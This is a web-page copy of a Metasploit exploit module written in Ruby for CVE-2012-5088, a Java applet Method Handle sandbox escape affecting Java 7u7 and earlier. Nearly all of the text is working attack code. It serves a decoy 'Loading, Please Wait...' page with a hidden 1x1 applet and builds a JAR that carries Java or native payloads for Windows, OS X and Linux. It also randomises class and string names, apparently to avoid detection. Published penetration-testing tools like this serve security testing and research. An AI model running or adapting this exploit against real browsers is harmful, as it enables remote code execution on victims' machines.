Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/multi/browser/java_jre17_method_handle.rb
31348 views
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = ExcellentRanking

8


9
  include Msf::Exploit::Remote::HttpServer::HTML

10
  include Msf::Exploit::EXE

11


12
  # include Msf::Exploit::Remote::BrowserAutopwn

13
  # autopwn_info({ :javascript => false })

14


15
  def initialize(info = {})

16
    super(

17
      update_info(

18
        info,

19
        'Name' => 'Java Applet Method Handle Remote Code Execution',

20
        'Description' => %q{

21
          This module abuses the Method Handle class from a Java Applet to run arbitrary

22
          Java code outside of the sandbox. The vulnerability affects Java version 7u7 and

23
          earlier.

24
        },

25
        'License' => MSF_LICENSE,

26
        'Author' => [

27
          'Unknown', # Vulnerability discovery at security-explorations.com

28
          'juan vazquez' # Metasploit module

29
        ],

30
        'References' => [

31
          [ 'CVE', '2012-5088' ],

32
          [ 'OSVDB', '86352' ],

33
          [ 'BID', '56057' ],

34
          [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],

35
          [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]

36
        ],

37
        'Payload' => { 'Space' => 20480, 'DisableNops' => true },

38
        'Targets' => [

39
          [

40
            'Generic (Java Payload)',

41
            {

42
              'Platform' => ['java'],

43
              'Arch' => ARCH_JAVA

44
            }

45
          ],

46
          [

47
            'Windows x86 (Native Payload)',

48
            {

49
              'Platform' => 'win',

50
              'Arch' => ARCH_X86

51
            }

52
          ],

53
          [

54
            'Mac OS X x86 (Native Payload)',

55
            {

56
              'Platform' => 'osx',

57
              'Arch' => ARCH_X86

58
            }

59
          ],

60
          [

61
            'Linux x86 (Native Payload)',

62
            {

63
              'Platform' => 'linux',

64
              'Arch' => ARCH_X86

65
            }

66
          ],

67
        ],

68
        'DefaultTarget' => 0,

69
        'DisclosureDate' => '2012-10-16',

70
        'Notes' => {

71
          'Reliability' => UNKNOWN_RELIABILITY,

72
          'Stability' => UNKNOWN_STABILITY,

73
          'SideEffects' => UNKNOWN_SIDE_EFFECTS

74
        }

75
      )

76
    )

77
  end

78


79
  def setup

80
    path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'Exploit.class')

81
    @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }

82
    path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'B.class')

83
    @loader_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }

84


85
    @exploit_class_name = rand_text_alpha('Exploit'.length)

86
    @exploit_class.gsub!('Exploit', @exploit_class_name)

87
    super

88
  end

89


90
  def on_request_uri(cli, request)

91
    print_status("handling request for #{request.uri}")

92


93
    case request.uri

94
    when /\.jar$/i

95
      jar = payload.encoded_jar

96
      jar.add_file("#{@exploit_class_name}.class", @exploit_class)

97
      jar.add_file('B.class', @loader_class)

98
      metasploit_str = rand_text_alpha('metasploit'.length)

99
      payload_str = rand_text_alpha('payload'.length)

100
      jar.entries.each do |entry|

101
        entry.name.gsub!('metasploit', metasploit_str)

102
        entry.name.gsub!('Payload', payload_str)

103
        entry.data = entry.data.gsub('metasploit', metasploit_str)

104
        entry.data = entry.data.gsub('Payload', payload_str)

105
      end

106
      jar.build_manifest

107


108
      send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' })

109
    when %r{/$}

110
      payload = regenerate_payload(cli)

111
      if !payload

112
        print_error('Failed to generate the payload.')

113
        send_not_found(cli)

114
        return

115
      end

116
      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })

117
    else

118
      send_redirect(cli, get_resource + '/', '')

119
    end

120
  end

121


122
  def generate_html

123
    html = %(<html><head><title>Loading, Please Wait...</title></head>)

124
    html += %(<body><center><p>Loading, Please Wait...</p></center>)

125
    html += %(<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">)

126
    html += %(</applet></body></html>)

127
    return html

128
  end

129
end

130


131